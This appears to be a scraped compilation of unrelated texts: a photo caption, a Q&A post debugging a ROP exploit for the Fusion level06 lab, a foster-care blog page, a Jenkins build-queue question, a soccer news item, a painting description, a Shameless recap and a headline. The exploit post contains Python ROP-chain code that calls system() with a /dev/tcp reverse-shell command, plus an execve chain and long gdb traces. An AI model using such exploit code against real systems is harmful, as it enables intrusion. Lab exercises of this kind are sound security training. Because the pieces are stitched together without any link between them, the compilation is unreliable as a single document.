Thelma Estrin (standing) working on Israel's first supercomputer, WEIZAC, in the 1950s. Photo: Weizmann Institute.
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Q: exploit exercise fusion level06, system command not opening reverse shell? I am trying exploit exercise level06 and now i am really very confused.
My exploit script is successfully leaking right libc address. and even, calling __libc_system command with right argument but still nothing happining.
Breakpoint in __libc_system function
Breakpoint 4, __libc_system (line=0xb7718100 "/bin/sh > /dev/tcp/127.0.0.1/1337 0>&1 2>&1 ")
    at ../sysdeps/posix/system.c:179
179 ../sysdeps/posix/system.c: No such file or directory.
    in ../sysdeps/posix/system.c

So, According to above gdb output, My Exploit Is Calling __libc_system and also passing write arguments.
But still, Nothing. (Note : Thread also not exit or terminating. Nothing Just waiting)
Piece Of Payload Codes
def writethroughpayload(libc, base, data):
    data = re.findall('....', data)
    gt =  libc + 0x000e0097 # pop %ecx | pop %ebx | ret
    gt2 = libc + 0x000238df # pop %eax | ret
    gt3 = libc + 0x0006cc5a # mov %eax,(%ecx) | ret
    p = ''
    for n, i in enumerate(data):
        print '[+] Number {} Data {}'.format(n*4, i)
        p += pack("<I", gt) # pop %ecx | pop %ebx | ret
            p += pack("<I", base+(n*4)) # @ .data + 4
        p += pack("<I", 0x42424242) # padding
        p += pack("<I", gt2) # pop %eax | ret
        p += i
        p += pack("<I", gt3) # mov %eax,(%ecx) | ret
    p += pack("<I", libc + 0x000328e0) # xor %eax,%eax | ret

    return p

# Open bind shell : port 1337
def openncshell(libcbase):
    data = 0x176000 + 0x2000+ 0x1000+0x100
    # Because Of Some Error. Here, I am print every single payload bytes
    p = writethroughpayload(libcbase, libcbase+data, CMD)
    p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
    p += pack("<I", libcbase+data)
    p += pack("<I", libcbase +  0x0003cb20) # system()
    p += pack("<I", libcbase + 0x000329e0) # exit()
    p += pack("<I", libcbase + data)*3 # @ .data
    p += '\xcc'*12
    return p

def exploit(libc):
    # Payload
    # EIP = 60
    # EDI = 52
    # ESI = 48
    # EBP = 56
    # EBX  = 44
    payload = 'N'*28  # Paddings
    payload += pack('I', libc+0x17600+0x3000+0x150)
    payload += 'N'*12
    payload += 'JJJJ' # EBX
    payload += 'KKKK' # ESI
    payload += 'LLLL' # EDI
    payload += 'MMMM' # EBP
    payload += pack("I", libc + 0x000e0097) # EIP = pop %ecx | pop %ebx | ret)
    #payload += openncshell(libc) # EIP
    # Got Control Over
    # EAX = EAX -
    # EDX = 64 Offset
    # ESI = 64 Offset
    #  mov    eax,DWORD PTR [esi+0x55c]
    payload += struct.pack('I', (libc + 0x0003cb20)-0x55c) # 64 System
    payload += 'BBBB'
    payload += openncshell(libc)

    return payload

GDB Output
(gdb) shell
root@fusion:~# netstat -p -l | grep level06
root@fusion:~# netstat -p -l | grep level06
root@fusion:~# netstat -p -l | grep level06
root@fusion:~# /opt/fusion/bin/level06
root@fusion:~# netstat -p -l | grep level06
tcp        0      0 *:20006                 *:*                     LISTEN      4608/level06
root@fusion:~# exit
exit
(gdb) attach 4608
Attaching to program: /opt/fusion/bin/level06, process 4608
Reading symbols from /usr/lib/libHX.so.27...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/libHX.so.27
Reading symbols from /usr/lib/i386-linux-gnu/libgnutls.so.26...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/i386-linux-gnu/libgnutls.so.26
Reading symbols from /lib/i386-linux-gnu/libpthread.so.0...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libpthread-2.13.so...done.
[Thread debugging using libthread_db enabled]
done.
Loaded symbols for /lib/i386-linux-gnu/libpthread.so.0
Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done.
done.
Loaded symbols for /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/i386-linux-gnu/libgcrypt.so.11...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libgcrypt.so.11
Reading symbols from /lib/i386-linux-gnu/libdl.so.2...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libdl-2.13.so...done.
done.
Loaded symbols for /lib/i386-linux-gnu/libdl.so.2
Reading symbols from /usr/lib/i386-linux-gnu/libtasn1.so.3...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/i386-linux-gnu/libtasn1.so.3
Reading symbols from /lib/i386-linux-gnu/libz.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libz.so.1
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/i386-linux-gnu/libgpg-error.so.0...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libgpg-error.so.0
eax            0xfffffe00   -512
ecx            0xbfd68200   -1076461056
edx            0xb78293bc   -1216179268
ebx            0x5  5
esp            0xbfd681e8   0xbfd681e8
ebp            0xbfd68268   0xbfd68268
esi            0x0  0
edi            0xbfd68234   -1076461004
eip            0xb7804424   0xb7804424 <__kernel_vsyscall+16>
eflags         0x293    [ CF AF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
=> 0xb7804424 <__kernel_vsyscall+16>:   pop    ebp
   0xb7804425 <__kernel_vsyscall+17>:   pop    edx
   0xb7804426 <__kernel_vsyscall+18>:   pop    ecx
   0xb7804427 <__kernel_vsyscall+19>:   ret
   0xb7804428:  add    BYTE PTR [esi],ch
0xb7804424 in __kernel_vsyscall ()
(gdb) b *__libc_system
Breakpoint 4 at 0xb75dbb20: file ../sysdeps/posix/system.c, line 179.
(gdb) c
Continuing.
[New Thread 0xb5ce3b70 (LWP 4629)]
[Switching to Thread 0xb5ce3b70 (LWP 4629)]
eax            0xb7718100   -1217298176
ecx            0xb7718128   -1217298136
edx            0xb75db5c4   -1218595388
ebx            0x42424242   1111638594
esp            0xb5ce325c   0xb5ce325c
ebp            0x4d4d4d4d   0x4d4d4d4d
esi            0x4b4b4b4b   1263225675
edi            0x4c4c4c4c   1280068684
eip            0xb75dbb20   0xb75dbb20 <__libc_system>
eflags         0x246    [ PF ZF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
=> 0xb75dbb20 <__libc_system>:  sub    esp,0x10
   0xb75dbb23 <__libc_system+3>:    mov    DWORD PTR [esp+0x8],esi
   0xb75dbb27 <__libc_system+7>:    mov    esi,DWORD PTR [esp+0x14]
   0xb75dbb2b <__libc_system+11>:   mov    DWORD PTR [esp+0x4],ebx
   0xb75dbb2f <__libc_system+15>:   call   0xb76acb63 <__i686.get_pc_thunk.bx>

Breakpoint 4, __libc_system (line=0xb7718100 "/bin/sh > /dev/tcp/127.0.0.1/1337 0>&1 2>&1 ")
    at ../sysdeps/posix/system.c:179
179 ../sysdeps/posix/system.c: No such file or directory.
    in ../sysdeps/posix/system.c
(gdb)
Continuing.
^C
Program received signal SIGINT, Interrupt.
[Switching to Thread 0xb74e7a70 (LWP 4608)]
eax            0xfffffe00   -512
ecx            0xbfd68200   -1076461056
edx            0xb78293bc   -1216179268
ebx            0x5  5
esp            0xbfd681e8   0xbfd681e8
ebp            0xbfd68268   0xbfd68268
esi            0x0  0
edi            0xbfd68234   -1076461004
eip            0xb7804424   0xb7804424 <__kernel_vsyscall+16>
eflags         0x293    [ CF AF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
=> 0xb7804424 <__kernel_vsyscall+16>:   pop    ebp
   0xb7804425 <__kernel_vsyscall+17>:   pop    edx
   0xb7804426 <__kernel_vsyscall+18>:   pop    ecx
   0xb7804427 <__kernel_vsyscall+19>:   ret
   0xb7804428:  add    BYTE PTR [esi],ch

In this Weird situation after loosing my hope. I tried to explore every single Instruction and found this at last
(gdb)
eax            0xf0 240
ecx            0x80 128
edx            0x2  2
ebx            0xb76b8100   -1217691392
esp            0xb2c7d0f4   0xb2c7d0f4
ebp            0x4d4d4d4d   0x4d4d4d4d
esi            0x0  0
edi            0xb2c7d1a0   -1295527520
eip            0xb77a4415   0xb77a4415 <__kernel_vsyscall+1>
eflags         0x246    [ PF ZF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
=> 0xb77a4415 <__kernel_vsyscall+1>:    push   edx
   0xb77a4416 <__kernel_vsyscall+2>:    push   ebp
   0xb77a4417 <__kernel_vsyscall+3>:    mov    ebp,esp
   0xb77a4419 <__kernel_vsyscall+5>:    sysenter
   0xb77a441b <__kernel_vsyscall+7>:    nop
0xb77a4415 in __kernel_vsyscall ()
(gdb)
eax            0xf0 240
ecx            0x80 128
edx            0x2  2
ebx            0xb76b8100   -1217691392
esp            0xb2c7d0f0   0xb2c7d0f0
ebp            0x4d4d4d4d   0x4d4d4d4d
esi            0x0  0
edi            0xb2c7d1a0   -1295527520
eip            0xb77a4416   0xb77a4416 <__kernel_vsyscall+2>
eflags         0x246    [ PF ZF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
=> 0xb77a4416 <__kernel_vsyscall+2>:    push   ebp
   0xb77a4417 <__kernel_vsyscall+3>:    mov    ebp,esp
   0xb77a4419 <__kernel_vsyscall+5>:    sysenter
   0xb77a441b <__kernel_vsyscall+7>:    nop
   0xb77a441c <__kernel_vsyscall+8>:    nop
0xb77a4416 in __kernel_vsyscall ()
(gdb)
eax            0xf0 240
ecx            0x80 128
edx            0x2  2
ebx            0xb76b8100   -1217691392
esp            0xb2c7d0ec   0xb2c7d0ec
ebp            0x4d4d4d4d   0x4d4d4d4d
esi            0x0  0
edi            0xb2c7d1a0   -1295527520
eip            0xb77a4417   0xb77a4417 <__kernel_vsyscall+3>
eflags         0x246    [ PF ZF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
=> 0xb77a4417 <__kernel_vsyscall+3>:    mov    ebp,esp
   0xb77a4419 <__kernel_vsyscall+5>:    sysenter
   0xb77a441b <__kernel_vsyscall+7>:    nop
   0xb77a441c <__kernel_vsyscall+8>:    nop
   0xb77a441d <__kernel_vsyscall+9>:    nop
0xb77a4417 in __kernel_vsyscall ()
(gdb)
eax            0xf0 240
ecx            0x80 128
edx            0x2  2
ebx            0xb76b8100   -1217691392
esp            0xb2c7d0ec   0xb2c7d0ec
ebp            0xb2c7d0ec   0xb2c7d0ec
esi            0x0  0
edi            0xb2c7d1a0   -1295527520
eip            0xb77a4419   0xb77a4419 <__kernel_vsyscall+5>
eflags         0x246    [ PF ZF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
=> 0xb77a4419 <__kernel_vsyscall+5>:    sysenter
   0xb77a441b <__kernel_vsyscall+7>:    nop
   0xb77a441c <__kernel_vsyscall+8>:    nop
   0xb77a441d <__kernel_vsyscall+9>:    nop
   0xb77a441e <__kernel_vsyscall+10>:   nop
0xb77a4419 in __kernel_vsyscall ()

In Simple words, Program automatically stuck in kernel syscall instruction.
Please Check Below Provided Pastebin link and Scroll Down to Last.
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**
Another Try.
**
Exploit
def writethroughpayload(libc, base, data):
    data = re.findall('....', data)
    gt =  libc + 0x000e0097 # pop %ecx | pop %ebx | ret
    gt2 = libc + 0x000238df # pop %eax | ret
    gt3 = libc + 0x0006cc5a # mov %eax,(%ecx) | ret
    p = ''
    for n, i in enumerate(data):
        print '[+] Number {} Data {}'.format(n*4, i)
        p += pack("<I", gt) # pop %ecx | pop %ebx | ret
            p += pack("<I", base+(n*4)) # @ .data + 4
        p += pack("<I", 0x42424242) # padding
        p += pack("<I", gt2) # pop %eax | ret
        p += i
        p += pack("<I", gt3) # mov %eax,(%ecx) | ret
    p += pack("<I", libc + 0x000328e0) # xor %eax,%eax | ret
    p += pack("<I", libc + 0x0014a0df) # inc %ecx | ret
    p += pack("<I", libc + 0x0014a0df) # inc %ecx | ret
    p += pack("<I", libc + 0x0014a0df) # inc %ecx | ret
    p += pack("<I", libc + 0x0014a0df) # inc %ecx | ret
    p += pack("<I", libc + 0x0006cc5a) # mov %eax,(%ecx) | ret
    return p

# Open bind shell : port 1337
def openncshell(libcbase):
    data = 0x176000 + 0x2000 +0x1000+20
    data2 = data + 0x50

    # Because Of Some Error. Here, I am print every single payload bytes
    p = writethroughpayload(libcbase, libcbase+data, '/tmp/hackingworks ') # command
    p += writethroughpayload(libcbase, libcbase+data2, '/bin/touch   ') # name

    # EBX = filename
    p += pack('<I', libcbase +0x00018f4e) # pop ebx ; ret
    p += pack('<I', libcbase +data2) #--> Filename

    # ECX = Argv EDX = NULL
    p += pack('<I', libcbase +0x2da2b) # pop ecx ; pop edx ; ret
    p += pack('<I', libcbase +data)  # argv
    p += pack('<I', libcbase +data+20) # NULL

    # EAX = 11 + kernel call done
    p += pack('<I', libcbase +0x0002eb8f) # xor eax, eax ; ret
    p += pack('<I', libcbase +0x00026722) # inc eax ; ret
    p += pack('<I', libcbase +0x00026722) # inc eax ; ret
    p += pack('<I', libcbase +0x00026722) # inc eax ; ret
    p += pack('<I', libcbase +0x00026722) # inc eax ; ret
    p += pack('<I', libcbase +0x00026722) # inc eax ; ret
    p += pack('<I', libcbase +0x00026722) # inc eax ; ret
    p += pack('<I', libcbase +0x00026722) # inc eax ; ret
    p += pack('<I', libcbase +0x00026722) # inc eax ; ret
    p += pack('<I', libcbase +0x00026722) # inc eax ; ret
    p += pack('<I', libcbase +0x00026722) # inc eax ; ret
    p += pack('<I', libcbase +0x00026722) # inc eax ; ret
    #p += '\xcc'*4
    p += pack('<I', libcbase +0x0002dd35) # int 0x80
    print '[+] Want To Check Syscall. Set breakpoint here : ', hex(libcbase +0x0002dd35)

    return p

More Accurate GDB Output
    root@fusion:~# netstat -p -l | grep level06
tcp        0      0 *:20006                 *:*                     LISTEN      3401/level06
root@fusion:~# exit
exit
(gdb) attach 3401
A program is being debugged already.  Kill it? (y or n) y
--Skip--
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/i386-linux-gnu/libgpg-error.so.0...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libgpg-error.so.0
eax            0xfffffe00   -512
ecx            0xbfdd9a50   -1075996080
edx            0xb778f3bc   -1216810052
ebx            0x5  5
esp            0xbfdd9a38   0xbfdd9a38
ebp            0xbfdd9ab8   0xbfdd9ab8
esi            0x0  0
edi            0xbfdd9a84   -1075996028
eip            0xb776a424   0xb776a424 <__kernel_vsyscall+16>
eflags         0x293    [ CF AF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
=> 0xb776a424 <__kernel_vsyscall+16>:   pop    ebp
   0xb776a425 <__kernel_vsyscall+17>:   pop    edx
   0xb776a426 <__kernel_vsyscall+18>:   pop    ecx
   0xb776a427 <__kernel_vsyscall+19>:   ret
   0xb776a428:  add    BYTE PTR [esi],ch

    0xb776a424 in __kernel_vsyscall ()
(gdb) b *0xb7532d35
Breakpoint 9 at 0xb7532d35
(gdb) c
Continuing.
[New Thread 0xb5c49b70 (LWP 3416)]
[Switching to Thread 0xb5c49b70 (LWP 3416)]
eax            0xb  11
ecx            0xb767e014   -1217929196
edx            0xb767e028   -1217929176
ebx            0xb767e064   -1217929116
esp            0xb5c49250   0xb5c49250
ebp            0x4d4d4d4d   0x4d4d4d4d
esi            0x4b4b4b4b   1263225675
edi            0x4c4c4c4c   1280068684
eip            0xb7532d35   0xb7532d35 <__restore_rt+5>
eflags         0x202    [ IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
=> 0xb7532d35 <__restore_rt+5>: int    0x80
   0xb7532d37 <__restore_rt+7>: nop
   0xb7532d38 <__restore>:  pop    eax
   0xb7532d39 <__restore+1>:    mov    eax,0x77
   0xb7532d3e <__restore+6>:    int    0x80

Breakpoint 9, <signal handler called>
(gdb) si
Couldn't recognize signal trampoline.
(gdb) c
Continuing.
Cannot find user-level thread for LWP 3416: generic error
(gdb)

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There are many reasons why we did this, but it ultimately comes back to God: I know this is what He has for us. It is not easy and is, in fact, one of the hardest things I have done. Even though we have stepped back from this for, the time being, we are still learning and growing in our challenges now as an adoptive family because the truth is that the adoption doesn't always mean happily ever after. It's amazing and I would do it all over again, but I would be lying if I said that it is easy.
But, even in the midst of challenges, I have peace.
My life isn't about me which is why it being hard doesn't really bother me (although "easier" sounds nice, I admit). My life belongs to God. He calls us to serve Him by serving others. Knowing the dire need, there was no way that we could sit back and do nothing. Sure, would have been it so much easier not to, but I couldn't say no when God put it on my heart. Saying no means missing His extraordinary plan and having to learn to turn off a piece of my soul to ignore the ache whenever I'm reminded of what I know I'm supposed to do.
If you are at all interested in this, God might be nudging you too.
That is how it started with me: quiet gentle nudges until I couldn't deny it any longer, even when it didn't make much sense. On this side of things, it makes sense now, but at the time, it didn't. God was literally preparing my heart and giving me the tools to be able to do this years before I even considered it.
I know huge decisions are intimidating and this is why I write about foster care. De-mystifying the process, juggling all the emotions, and being open about working with bio parents can take the fear out of a forbidding thing – fear has a hard time thriving in the light.
The media loves to broadcast all the horror stories (and, to be clear, I find it appalling that people would further abuse these vulnerable kids), but this is all the more reason to step up and do something about it. Please explore our story and find out what living the life of a foster and adoptive parent really looks like. Even if you aren't ready to take the plunge, God might be calling you to get your hands dirty supporting other foster and adoptive parents. And if not, we could all do with talking about it a little more anyway and making it less intimidating.
The Reality of Adoption – What adoptive parents are all thinking but too scared to say.
It Takes a Village – Why we need to do something about the horror stories, not run away.
The Birth Parent Challenge – Dealing with judgment and having grace for birth parents.
The Mess – We might be a foster family, but we don't have it all together – no one does.
Permanent – When our daughter's bio dad decided to make an adoption plan with us.
Just a Little Scared – My thoughts about how I was feeling fearful but fostering anyway.
Choosing to Stay – The time I wanted to run, but am so glad I didn't – I met my daughter.
Grafted In – How fostering has changed our family's view of family hilariously.
Between a Rock and a Hard Place – The dark truth why CPS is so "ugly" and it's probably not what you think.
"Real" Parents – The struggle with labels and family dynamics in the midst of adoption.
Adjusting to Being an Adoptive Parent – Transitions and the "new normal" after adoption.
I am thankful for you and yours being a Foster family. My husband and I were for many years. My heart goes out to those babies that need families. Keep loving them. They become as dear as those you gave birth to. God Bless!
I am grateful to your family for being a foster family. There are not enough foster families out there.
This page this page this page……… I love the way this page is a kind of table of contents for this file or tag, with links !! Foster parents are my heroes, and I hope someday you will have time to visit my blog, and read a few writings where I tell some stories about "son of my heart," who we tried to adopt………… stories of a long winding path, and wonderful wonderful love and grace! "The Big Picture Can Be Better," and "The Back Story," under Family Relationships label.
Thank you so much, Tammy! I'm so glad we've been able to connect! I love that you share your story too and I think it makes such a difference for other parents to foster and adopt since it breaks down walls and provides so much support just to know there are others who are doing the same things. Thanks for sharing your story!


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Q: Jenkins keeps adding build job to queue We have a build job in Jenkins that keeps on building continuously once it is triggered manually. (there is always one new build being added to the queue when the current build starts.) There is no build trigger configured, so it should only start when triggered manually.
Some details about the job:

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*Maven2/3 build job type

*It's a Git SCM job

*Simple maven 3.2 project (all it does is clean compile). The project consists of 5 modules that are triggered to be build from the parent.

No additional configuration.
The Git configuration is also very simple:
Git URL has been filled in, incl credentials. All other is default settings.
Version information:

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*Jenkins 1.580.3

*Git Plugin 2.3.5

*Git client plugin 1.16.1

*Maven 3.2.5

config.xml
<?xml version='1.0' encoding='UTF-8'?>
<maven2-moduleset plugin="maven-plugin@2.9">
  <actions/>
  <description></description>
  <logRotator class="hudson.tasks.LogRotator">
    <daysToKeep>30</daysToKeep>
    <numToKeep>20</numToKeep>
    <artifactDaysToKeep>30</artifactDaysToKeep>
    <artifactNumToKeep>5</artifactNumToKeep>
  </logRotator>
  <keepDependencies>false</keepDependencies>
  <properties>
    <jenkins.plugins.maveninfo.config.MavenInfoJobConfig plugin="maven-info@0.2.0">
      <mainModulePattern></mainModulePattern>
      <dependenciesPattern></dependenciesPattern>
      <assignName>false</assignName>
      <nameTemplate></nameTemplate>
      <assignDescription>false</assignDescription>
      <descriptionTemplate></descriptionTemplate>
    </jenkins.plugins.maveninfo.config.MavenInfoJobConfig>
    <hudson.plugins.disk__usage.DiskUsageProperty plugin="disk-usage@0.25"/>
    <org.jvnet.hudson.plugins.shelveproject.ShelveProjectProperty plugin="shelve-project-plugin@1.5"/>
  </properties>
  <scm class="hudson.plugins.git.GitSCM" plugin="git@2.3.5">
    <configVersion>2</configVersion>
    <userRemoteConfigs>
      <hudson.plugins.git.UserRemoteConfig>
        <name>origin</name>
        <url>ssh://user@server:29418/project</url>
        <credentialsId>creds-here</credentialsId>
      </hudson.plugins.git.UserRemoteConfig>
    </userRemoteConfigs>
    <branches>
      <hudson.plugins.git.BranchSpec>
        <name>**</name>
      </hudson.plugins.git.BranchSpec>
    </branches>
    <doGenerateSubmoduleConfigurations>false</doGenerateSubmoduleConfigurations>
    <browser class="hudson.plugins.git.browser.GitWeb">
      <url></url>
    </browser>
    <submoduleCfg class="list"/>
    <extensions/>
  </scm>
  <canRoam>true</canRoam>
  <disabled>false</disabled>
  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
  <jdk>Java 7 (Update 21)</jdk>
  <triggers/>
  <concurrentBuild>false</concurrentBuild>
  <rootModule>
    <groupId>com.example</groupId>
    <artifactId>artifactId</artifactId>
  </rootModule>
  <goals>clean install</goals>
  <mavenName>Maven 3.1</mavenName>
  <aggregatorStyleBuild>true</aggregatorStyleBuild>
  <incrementalBuild>false</incrementalBuild>
  <ignoreUpstremChanges>true</ignoreUpstremChanges>
  <archivingDisabled>false</archivingDisabled>
  <siteArchivingDisabled>false</siteArchivingDisabled>
  <fingerprintingDisabled>false</fingerprintingDisabled>
  <resolveDependencies>false</resolveDependencies>
  <processPlugins>false</processPlugins>
  <mavenValidationLevel>-1</mavenValidationLevel>
  <runHeadless>false</runHeadless>
  <disableTriggerDownstreamProjects>true</disableTriggerDownstreamProjects>
  <settings class="jenkins.mvn.DefaultSettingsProvider"/>
  <globalSettings class="jenkins.mvn.DefaultGlobalSettingsProvider"/>
  <reporters/>
  <publishers/>
  <buildWrappers/>
  <prebuilders/>
  <postbuilders/>
  <runPostStepsIfResult>
    <name>UNSTABLE</name>
    <ordinal>1</ordinal>
    <color>YELLOW</color>
    <completeBuild>true</completeBuild>
  </runPostStepsIfResult>
</maven2-moduleset>

Any ideas how to resolve this?

A: This other (duplicate?) question suggests that this is a subtle bug in Jenkins that occurs when a configuration change is made w/o restarting Jenkins afterwards.  Though we have not scientifically proven it yet, anecdotally this seems to be our experience as well.  Having restarted our Jenkins service over the weekend, we are now no-longer able to reproduce the problem.  Will post more here when/if the problem comes back and we are able to learn more.


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Donovan Revealed Leon Pushed For Him
US soccer legend Landon Donovan shocked many when he opted to return to the game despite announcing his retirement after leaving Los Angeles Galaxy. He returned in January to join a Mexican top flight team Leon. He agreed to play for them until the end of the current season.
Recently the player gave an interview explaining how Leon were able to get him to overturn his retirement plans. He explained that he was at home and was happy with retirement when his agent called him. Richard Motzkin asked if he wanted to remotely return to the game but he straight out denied.
The next day the agent called again, explaining that the La Liga MX team wanted someone experienced and were keen on Donovan. The agent claimed the team needed help on and off the field so they were determined to speak with the then retired man. Donovan decided to keep an open mind. He thought about it, discussed with his wife amid the pressure from the club. He was eventually convinced to agree to a deal. He said since returning it's been fun as he has fallen in love with the team.
He has been involved in the background work in football, ownership deals and punditry. However, he said there was still excitement with playing the game. He admitted that he could not continue for much longer being 36 years.
Donovan says there is something special about him having to wake up every day to play soccer. He revealed that he had been in contact with a Mexican side in the past but then he decided to continue with Everton in 2012. He said he grew up playing with Mexicans in Southern California and they surely influenced his game. For now his major challenge is the physical aspects of the game as he can only be a 90-minute player for a limited number of times a year.
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Description: Watercolour on paper, 1938. Gavin Henderson, Second Baron Farindon, was a Labour politician and prominent member of the Fabian Society. He was also affiliated with the Artist's International Association, a group composed of artists who supported the Republican cause during the Spanish Civil War. In need of funds, the Artist's International Association contacted Ravilious with the request that if commissioned for a painting, he donate his fee for the commission, to the Association. Ravilious agreed to this, and Gavin Henderson, having recently inherited his title and the Buscot Park Estate, provided the commission.
Ravilious and his wife Tirzah spent a weekend at Buscot Park in June of 1938. About the house Ravilious wrote: 'Faringdon was such a palatial country house, the grandest I was ever in, and the park and the lakes were lovely too – there were white peacocks and black swans and a whale's jaw bones in the garden'.
This painting reflects the beauty, but this is not simply a beautiful painting. In recognition that Ravilious often sought complexity in his pictures, Tirzah notes in her biography: 'Fortunately the grass was being mown and he painted the varying stripes of grass in the foreground, and a storm was coming up behind in the sky'. The storm is akin to the rusty fence, the barbed wire, the discarded piece of machinery which Ravilious so often chose to depict. It allows a hint of realism – and perhaps, painted as it was in 1938, even a looming sense of what were to become catastrophic events in Europe. It is an exceptional painting, and also a painting of a quite beautiful house.
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[Spoiler Alert!] Shameless Season 7 is Now Streaming On Netflix!
In case you haven't heard (or seen), Shameless season 7 is on Netflix. Season 7 entered the streaming realm on June 22 and it caught everyone by surprise and it wasn't listed anywhere on the "coming soon or streaming on Netflix June 2017" lists and there was a pending release date for July or maybe August, but nothing set in stone so let's just say… Hallelujah– Season 7 is finally here, streaming on Netflix.
Where We Left Off
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The great thing about Shameless? There is no set story line as it follows six siblings as they go through life without the guidance of their parents (Who are off doing better things… like drugs). Since there are so many family members living their lives in the show, there is more than one story line to follow…
The season starts out with Fiona pregnant–the kicker? So is Debbie. Fiona knows that she can't afford to have another little one to take care of, so she decided to take care of the situation and schedules herself to have an abortion.
Fiona falls hard and fast for Sean–The manager of Patsy's, while she is still legally married to Gus. She had to get herself divorced to a man that wanted nothing to do with her and all he wanted to do was hurt her like she hurt him. After fighting tooth and nail, she is finally divorced.
Meanwhile, she and Sean went from friends, to lovers, to engaged right away. They planned their wedding, they bought antique wedding bands to adorn their hands as a symbol of love when they wed each other. The big day came and Fiona was love blind; She had no idea Sean was still using. But what is more hurtful… It's from whom she find out the devastating news that Sean is still using.
Lip pretty much goes AWOL in season six. He has nothing better to do than drink, smoke (nothing new), and party after he and Helene are done-zo. He's ruined all of his chances with his full ride education by marketing himself as a grade-A jerk when it comes to his personality. The last straw comes when Lip totally bashes Professor Youens' car. Youens' figures out that he has a problem and persuades Lip to go to rehab. He agrees to go, but won't miss his sisters' wedding, so does he really go?
Ian struggles with losing his job and his relationship with Caleb. He doesn't understand that actions have consequences so when he tires to go back for another chance as an EMT., he fails. When he doesn't get a second chance, Ian decides to go back to the club he was dancing at to see if he can get his old job back; When that plan doesn't work, he goes back to station to try to get his job back as an EMT. He admits that he is manic-depressive and he knows that he has a problem, thus awarding him his job back.
The beginning of the season Debbie is pregnant and totally naive. Then Debbie has Franny (Her daughter) and she doesn't have the knowledge or the ability to raise her on her own, but she does not want to accept Fiona's help as she is determined to do this on her own. Debbie had the first appointment for Franny and the doctor had suspicions about how Debs was parenting. Her suspicions caused more issues for Debbie as she went through parenting alone. She had to decide if she wanted the help from Fiona or not–The other decision? Attending Fiona's wedding… Will she go? Reluctantly.
Carl is still Carl and he is more thug than anything. Carl has a heart of gold and comes to Fiona's rescue when she needs some saving.
He also has found his one true love with Dominique… The one problem? Dominique's father, Luther. Will Carl be able to get past Luther's hard, outer shell? Probably not.
Liam has recovered from his bout with cocaine and is back at home living the life–Well as great of life as you can live with your siblings taking care of you. Liam is just… Liam.
Frank may be the screwed up out of all of them, but all the Gallagher's are against him. Any chance Frank gets, he throws an insult toward Sean as he feels it is his moral obligation as a weathered drug user to warn his daughter– I mean, it takes one to know one, right? No wonder the family is so angry with him. He is the only Gallagher that isn't invited to the wedding– He shows up anyway.
Surprisingly, Monica doesn't show up and ruin anything in season 6. Pretty awesome right?
Kevin and Veronica and Svetlana
In the beginning of the season, we see Kevin and V happy and in love. They go through life and realize that Svetlana could be a benefit to their relationship. Once they come to this realization, the discover that they could be beneficial to Lana too as her green card is expiring. V and Lana get married and Kevin feels as though he is left out when they start getting closer.
What We Can Expect From Season 7
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Fiona found out the worst news ever, considering she was going to marry Sean without knowing that her fiancé was using heroine. Think about how she feels finding this information out from Frank. I mean, they were so mad at him that they threw him in the river.
Does Lip go to rehab? At the end of season six, you see Professor Youens dropping him off at the front of the rehab center. Hopefully he gets the help that he needs.
After Ian's bad "season" of admitting that he was manic-depressive and totally off the wall when it came to losing his job due to his disorder. After he's gotten himself into trouble he is kind of a lone wolf until someone from his past comes to haunt him.
Debbie has to figure out how to raise a baby as a single mother which isn't an easy thing to do when you've never had a job and don't know how to have a job. She must figure out way to make ends meet for her and Franny.
Carl turns himself around in season 7 and changes his future. What does he have up his sleeve? One would have never thought that Carl would be the order to the Chaos in the Gallagher household.
Liam is getting older and he is starting to understand more and more what is going on around him. Frank wants more to do with his family and Liam is the only one that hasn't been burned by him… at least, not yet.
Someone from Frank's past returns and gets Frank and the Gallagher's in stink. This mysterious guest returns and forces Frank to be more of a man and father figure to his family. Will he step up?
We didn't see or hear from Monica at all in season six… Will we see her in season 7 at all?
There was trouble in paradise for Kevin and Veronica when V and Lana got married to save her from having to leave the country due to an expired green card. Will Kevin and V come to their senses when it comes to their relationship?
So much to think about in season seven. There are tons of questions that have been left unanswered in season six. So what can we expect to see in season seven?


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Security Service of Ukraine considers three versions of Brovary helicopter crash — National Police
